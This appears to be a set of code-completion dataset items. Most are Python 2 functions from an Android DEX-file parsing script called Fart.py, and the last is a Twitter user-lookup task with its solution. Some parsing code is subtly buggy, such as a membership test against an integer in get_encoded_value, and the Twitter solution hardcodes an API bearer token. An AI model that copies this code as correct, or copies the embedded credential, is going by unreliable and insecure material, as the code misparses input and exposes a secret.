+= n n,parameters_size = get_uleb128(dex_object.m_content[offset:offset+5]) offset += n for i in xrange(0,parameters_size): n,string_idx = get_uleb128p1(dex_object.m_content[offset:offset+5]) if string_idx!=-1: parameter_list.append(dex_object.getstringbyid(string_idx)) offset+=n return parameter_list
null
17,396
import sys import struct import array import base64 import re def get_uleb128p1(content): n, value = get_uleb128(content) value -= 1 return n, value def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value def get_leb128(content): value = 0 mask = [0xffffff80, 0xffffc000, 0xffe00000, 0xf0000000, 0] bitmask = [0x40, 0x40, 0x40, 0x40, 0x8] value = 0 i = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: if bitmask[i] & tmp: value |= mask[i] break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: if bitmask[i] & tmp: value |= mask[i] break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: if bitmask[i] & tmp: value |= mask[i] break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 buffer = struct.pack("I", value) value, = struct.unpack("i", buffer) return i + 1, value import getopt def parse_debug_info(lex_object,offset): print "===parse_debug_info====offset = %08x"%offset n ,current_line = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n n,parameters_size = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n for i in xrange(0,parameters_size): n,string_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) if string_idx!=-1: print lex_object.getstringbyid(string_idx) offset+=n start = offset current_pc = 0 print "===opcode====offset = %08x line=%d pc=%d"%(offset,current_line,current_pc) totalsize = len(lex_object.m_content) while offset < totalsize: #bytecode = struct.unpack_from("B",lex_object.m_content,offset) bytecode = ord(lex_object.m_content[offset]) offset += 1 print "opcode[%02x]"%bytecode, if bytecode == 0: print "" break elif bytecode == 1: n,val = get_uleb128(lex_object.m_content[offset:offset+5]) current_pc += val; offset += n print "line=%d pc=%x"%(current_line,current_pc) elif bytecode == 2: n,val = get_leb128(lex_object.m_content[offset:offset+5]) current_line += val offset += n print "line=%d pc=%x val=%08x(%d)"%(current_line,current_pc,val,val) elif bytecode == 3: n,register_num = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n n,name_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) offset += n n,type_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) offset += n print "v%d %s %s START_LOCAL"%(register_num,lex_object.gettypenamebyid(type_idx),lex_object.getstringbyid(name_idx)) elif bytecode == 4: n,register_num = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n n,name_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) offset += n n,type_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) offset += n n,sig_idx = get_uleb128p1(lex_object.m_content[offset:offset+5]) offset += n print "v%d %s %s START_LOCAL_EXTENDED"%(register_num,lex_object.gettypenamebyid(type_idx),lex_object.getstringbyid(name_idx)) elif bytecode == 5: n,register_num = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n print "v%d END_LOCAL"%register_num elif bytecode == 6: n,register_num = get_uleb128(lex_object.m_content[offset:offset+5]) offset += n print "v%d register to restart"%register_num elif bytecode == 7: print "SET_PROLOGUE_END" pass elif bytecode == 8: print "SET_EPILOGUE_BEGIN" pass elif bytecode == 9: n,name_idx = get_uleb128(lex_object.m_content[offset:offset+5]) print "%s"%lex_object.getstringbyid(name_idx) offset += n else: adjusted_opcode = bytecode - 0xa current_line += (adjusted_opcode % 15)-4 current_pc += (adjusted_opcode / 15) #offset += 1 print "line=%d pc=%x adjusted_opcode=%d pc+ %d line+%d"%(current_line,current_pc,adjusted_opcode,(adjusted_opcode/15),(adjusted_opcode%15)-4) print "===parse_debug_info====offset = %08x$"%offset
null
17,397
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value def get_encoded_value(content): VALUE_SHORT = 0x2 VALUE_CHAR = 0x3 VALUE_INT = 0x4 VALUE_LONG = 0x6 VALUE_FLOAT = 0x10 VALUE_DOUBLE = 0x11 VALUE_STRING = 0x17 VALUE_TYPE = 0x18 VALUE_FIELD = 0x19 VALUE_METHOD = 0x1a VALUE_ENUM = 0x1b VALUE_ARRAY = 0x1c VALUE_ANNOTATION = 0x1d VALUE_NULL = 0x1e VALUE_BOOLEAN = 0x1f type_enum = [0x0,0x2,0x3,0x4,0x6,0x10,0x11,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f] size_type = ord(content[0]) usebyte = 1 size = size_type >> 5 type = size_type & 0x1f if type not in size_type: print "encoded value error!" if type == 0 and size == 0: value,=struct.unpack_from("b",content,1) usebyte += 1 elif type == VALUE_SHORT: if size == 0: value,=struct.unpack_from("b",content,1) elif size == 1: value,=struct.unpack_from("h",content,1) else: print "encoded value error! type=short type=%d size=%d"%(type,size) usebyte+=size+1 elif type == VALUE_CHAR: if size == 0: value, = struct.unpack_from("B",content,1) elif size == 1: value, = struct.unpack_from("H",content,1) else: print "encoded value error! type=char type=%d size=%d"%(type,size) usebyte+=size+1 elif type == VALUE_INT: if size == 0: value,=struct.unpack_from("b",content,1) elif size == 1: value,=struct.unpack_from("h",content,1) elif size == 2: value = 0 elif size == 3: value,=struct.unpack_from("i",content,1) else: print "encoded value error! type=int type=%d size=%d"%(type,size) usebyte+=size+1 elif type == VALUE_LONG: if size > 7: print "encoded value error! type=long type=%d size=%d"%(type,size) value=content[1:1+size+1] usebyte+=size+1 elif type == VALUE_FLOAT: if size > 3: print "encoded value error! type=float type=%d size=%d"%(type,size) value=content[1:1+size+1] usebyte+=size+1 elif type == VALUE_DOUBLE: if size > 7: print "encoded value error! type=double type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_STRING: if size > 3: print "encoded value error! type=double type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_TYPE: if size > 3: print "encoded value error! type=type type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_FIELD: if size > 3: print "encoded value error! type=field type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_METHOD: if size > 3: print "encoded value error! type=medhod type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_ENUM: if size > 3: print "encoded value error! type=enum type=%d size=%d"%(type,size) value = content[1:1+size+1] usebyte+=size+1 elif type == VALUE_ARRAY: if size != 0: print "encoded value error! type=encoded_array type=%d size=%d"%(type,size) k,value=get_encoded_array(content[1:1+size+1]) usebyte+=k elif type == VALUE_ANNOTATION: if size != 0: print "encoded value error! type=encoded_annotation type=%d size=%d"%(type,size) k,type_idx = get_uleb128(content[1:]) k1,s = get_uleb128(content[1+k:]) k1 = 1+k+k1 for n in xrange(0,s): k2,name_index = get_uleb128(content[k1:]) k1+=k2 k3,value = get_encoded_value(content[k1:]) k1+=k3 usebyte+=k1 elif type == VALUE_NULL: if size != 0: print "encoded value error! type=NULL type=%d size=%d"%(type,size) value="NULL" elif type == VALUE_BOOLEAN: value = size return usebyte,value import getopt def get_encoded_array_by_index(content,index): offset,size = get_uleb128(content) userbyte = offset for i in xrange(0,size): off,value = get_encoded_value(content[offset:]) offset += off userbyte+=off if index == i: return userbyte,value return offset
null
17,398
import sys import struct import array import base64 import re import getopt def shorty_decode(name): val = {"V":"void", "Z":"boolean", "B":"byte", "S":"short", "C":"char", "I":"int", "J":"long", "F":"float", "D":"double", "L":"L" } value = "" if name[-1] == ';': if name[0] == 'L': return name[1:-1].replace("/",".") if name[0]=='[': if name[1] == 'L': return name[2:-1].replace("/",".")+"[]" else: return name[1:-1].replace("/",".")+"[]" i = 0 for ch in name: if val.has_key(ch): if i != 0: value += " | " value += val[ch] i += 1 if '[' in name: value += "[]" return value
null
17,399
import sys import struct import array import base64 import re def get_uleb128(content): def parse_encoded_value(lex_object,content,is_root=False): def parse_encoded_annotation(lex_object,content,is_root=False): import getopt def parse_encoded_value4441(lex_object,content,is_root=False): offset = 0 arg_type, = struct.unpack_from("B",content,offset) offset+=struct.calcsize("B") value_arg = arg_type>>5 value_type = arg_type &0x1f if value_type in [0x2,3,4,6,0x10,0x11,0x17,0x18,0x19,0x1a,0x1b]: str = "" for q in xrange(0,value_arg+1): str += "%02x "%(ord(content[offset+q])) print str, offset += (value_arg+1) elif value_type == 0: print "%02x"%ord(content[offset]), offset += 1 elif value_type == 0x1e : print "NULL", elif value_type == 0x1f: if value_arg == 0: print "False", else: print "True", offset += 0 elif value_type == 0x1d: offset += parse_encoded_annotation(lex_object,content[offset:]) elif value_type == 0x1c: m,asize = get_uleb128(content[offset:5+offset]) offset += m print "[%d]"%asize, for q in xrange(0,asize): offset += parse_encoded_value(lex_object,content[offset:],False) else: print "***************error parse encode_value**************" return offset
null
17,400
import sys import struct import array import base64 import re def parse_annotation_set_item(lex_object,offset,is_root=False): try: size, = struct.unpack_from("I",lex_object.m_content,offset) offset += struct.calcsize("I") for i in xrange(0,size): off,=struct.unpack_from("I",lex_object.m_content,offset) visibility, = struct.unpack_from("B",lex_object.m_content,off) if visibility == 0: print "VISIBILITY_BUILD", elif visibility == 1: print "VISIBILITY_RUNTIME", elif visibility == 2: print "VISIBILITY_SYSTEM", else: print "visibility is unknow %02x"%visibility off += struct.calcsize("B") parse_encoded_annotation(lex_object,lex_object.m_content[off:],True) offset += struct.calcsize("I") print "" except Exception as e: print e import getopt def parse_annotation_set_ref_list(lex_object,offset,is_root=False): size, = struct.unpack_from("I",lex_object.m_content,offset) offset += struct.calcsize("I") for i in xrange(0,size): off,=struct.unpack_from("I",lex_object.m_content,offset) parse_annotation_set_item(lex_object,off,True) offset += struct.calcsize("I")
null
17,401
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value import getopt def get_encoded_field(content): n , val1 = get_uleb128(content) n1 , val2 = get_uleb128(content[n:]) return n + n1, val1, val2
null
17,402
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value import getopt def get_encoded_method(content): n , val1 = get_uleb128(content) n1 , val2 = get_uleb128(content[n:]) n2 , val3 = get_uleb128(content[n+n1:]) return n + n1 + n2, val1, val2, val3
null
17,403
import sys import struct import array filename = "_data_app_com.example.dexcode-1_base.apk0.dex_722044_0" insfilename ="722044_ins.bin" import base64 import re import getopt def init(): global filename global insfilename try: opts, args = getopt.getopt(sys.argv[1:], "h:d:i:", ["dumpdexfile=", "insfile="]) except getopt.GetoptError: print 'Fart.py -d <dumpdexfile> -i <insfile>' sys.exit(2) if len(opts)<=0: print 'Fart.py -d <dumpdexfile> -i <insfile>' sys.exit() for opt, arg in opts: if opt in ("-h", "--help"): print 'Fart.py -d <dumpdexfile> -i <insfile>' sys.exit() if opt in ("-d", "--dumpdexfile"): filename = arg elif opt in ("-i", "--insfile"): insfilename = arg print 'dumpdex file:', filename print 'ins file:', insfilename
null
17,404
from collections import defaultdict from typing import Optional from urllib.parse import urlparse import datetime import glob import importlib import json import logging import os import re import shutil import subprocess import sys import time class UserData: def __init__(self, user_id: str, handle: str): if user_id is None: raise ValueError('ID "None" is not allowed in UserData.') self.user_id = user_id if handle is None: raise ValueError('handle "None" is not allowed in UserData.') self.handle = handle def get_consent(prompt: str, default_to_yes: bool = False): """Asks the user for consent, using the given prompt. Accepts various versions of yes/no, or an empty answer to accept the default. The default is 'no' unless default_to_yes is passed as True. The default will be indicated automatically. For unacceptable answers, the user will be asked again.""" if default_to_yes: suffix = " [Y/n]" default_answer = "yes" else: suffix = " [y/N]" default_answer = "no" while True: user_input = input(prompt + suffix) if user_input == "": print (f"Your empty response was assumed to mean '{default_answer}' (the default for this question).") return default_to_yes if user_input.lower() in ('y', 'yes'): return True if user_input.lower() in ('n', 'no'): return False print (f"Sorry, did not understand. Please answer with y, n, yes, no, or press enter to accept " f"the default (which is '{default_answer}' in this case, as indicated by the uppercase " f"'{default_answer.upper()[0]}'.)") def import_module(module): """Imports a module specified by a string. Example: requests = import_module('requests')""" try: return importlib.import_module(module) except ImportError: print(f'\nError: This script uses the "{module}" module which is not installed.\n') if not get_consent('OK to install using pip?'): exit() subprocess.run([sys.executable, '-m', 'pip', 'install', module], check=True) return importlib.import_module(module) def get_twitter_api_guest_token(session, bearer_token): """Returns a Twitter API guest token for the current session.""" guest_token_response = session.post("https://api.twitter.com/1.1/guest/activate.json", headers={'authorization': f'Bearer {bearer_token}'}, timeout=2, ) guest_token = json.loads(guest_token_response.content)['guest_token'] if not guest_token: raise Exception(f"Failed to retrieve guest token") return guest_token def get_twitter_users(session, bearer_token, guest_token, user_ids): """Asks Twitter for all metadata associated with user_ids.""" users = {} while user_ids: max_batch = 100 user_id_batch = user_ids[:max_batch] user_ids = user_ids[max_batch:] user_id_list = ",".join(user_id_batch) query_url = f"https://api.twitter.com/1.1/users/lookup.json?user_id={user_id_list}" response = session.get(query_url, headers={'authorization': f'Bearer {bearer_token}', 'x-guest-token': guest_token}, timeout=2, ) if not response.status_code == 200: raise Exception(f'Failed to get user handle: {response}') response_json = json.loads(response.content) for user in response_json: users[user["id_str"]] = user return users The provided code snippet includes necessary dependencies for implementing the `lookup_users` function. Write a Python function `def lookup_users(user_ids, users)` to solve the following problem: Fill the users dictionary with data from Twitter Here is the function: def lookup_users(user_ids, users): """Fill the users dictionary with data from Twitter""" # Filter out any users already known filtered_user_ids = [id for id in user_ids if id not in users] if not filtered_user_ids: # Don't bother opening a session if there's nothing to get return # Account metadata observed at ~2.1KB on average. estimated_size = int(2.1 * len(filtered_user_ids)) print(f'{len(filtered_user_ids)} users are unknown.') if not get_consent(f'Download user data from Twitter (approx {estimated_size:,} KB)?'): return requests = import_module('requests') try: with requests.Session() as session: bearer_token = 'AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA' guest_token = get_twitter_api_guest_token(session, bearer_token) retrieved_users = get_twitter_users(session, bearer_token, guest_token, filtered_user_ids) for user_id, user in retrieved_users.items(): if user["screen_name"] is not None: users[user_id] = UserData(user_id=user_id, handle=user["screen_name"]) print() # empty line for better readability of output except Exception as err: print(f'Failed to download user data: {err}')
Fill the users dictionary with data from Twitter